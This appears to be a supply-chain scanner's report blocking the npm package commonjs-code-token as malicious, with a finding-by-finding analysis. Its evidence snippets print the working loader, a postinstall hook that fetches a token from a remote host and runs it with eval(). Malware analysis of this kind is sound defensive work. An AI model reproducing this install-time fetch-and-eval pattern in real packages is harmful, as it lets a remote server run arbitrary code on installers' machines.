## Verdict summary
**Blocked & quarantined** — The remote endpoint can execute arbitrary code with the installing user's privileges.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 1.0.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Installing the package invokes its postinstall hook. That hook downloads a server-controlled token and evaluates it as JavaScript.

## Security analysis

### Published attack-surface review

- **Summary:** Installing the package invokes its postinstall hook. That hook downloads a server-controlled token and evaluates it as JavaScript.

- **Trigger:** npm installation, including transitive installation when lifecycle scripts are enabled

- **Impact:** The remote endpoint can execute arbitrary code with the installing user's privileges.

- **Evidence paths:** package.json, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-25T19:30:57.685Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** postinstall remote payload fetch and eval execution

- **Attack narrative:** During installation, npm runs \`node index.js\`. The entrypoint fetches JSON from access-token-delta.vercel.app, extracts \`token\`, and evaluates it. Because the server controls the evaluated content, it can deliver arbitrary code at install time without any further user action.

- **Rationale:** Direct source inspection confirms an install-time remote-code-execution chain. The remote payload is dynamically evaluated and is not constrained to a package-aligned static asset.

- **Files touched:** package.json, index.js

- **Network endpoints:** https://access-token-delta.vercel.app

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** A postinstall hook executes index.js automatically during npm installation., index.js fetches a remote response and passes its token field to eval()., The remotely controlled payload runs with the installing user's Node.js privileges.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/commonjs-code-token@1.0.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node index.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. High: Eval
- **Category:** Source
- **Confidence:** 80.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/commonjs-code-token@1.0.0/index.js>)

Package source references dynamic code evaluation.

Public source snippet (untrusted):

```javascript
L3: const { token } = await res.json();
L4: eval(token);
L5: })();
```

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Critical: Remote Asset Decode Execute
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/commonjs-code-token@1.0.0/index.js>)

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

Public source snippet (untrusted):

```javascript
L1: module.exports = (async () => {
L2: const res = await fetch("https://access-token-delta.vercel.app");
L3: const { token } = await res.json();
L4: eval(token);
L5: })();
```

### 6. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/commonjs-code-token@1.0.0/index.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: scripts.postinstall -> index.js
Reachable file contains a blocking source-risk pattern.
```

### 7. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 8. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/commonjs-code-token@1.0.0/index.js>)

index.js fetches a remote response and passes its token field to eval().

Public source snippet (untrusted):

```javascript
module.exports = (async () => {
  const res = await fetch("https://access-token-delta.vercel.app");
  const { token } = await res.json();
  eval(token);
})();
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/commonjs-code-token@1.0.0/index.js>)

The remotely controlled payload runs with the installing user's Node.js privileges.

Public source snippet (untrusted):

```javascript
const res = await fetch("https://access-token-delta.vercel.app");
  const { token } = await res.json();
  eval(token);
```
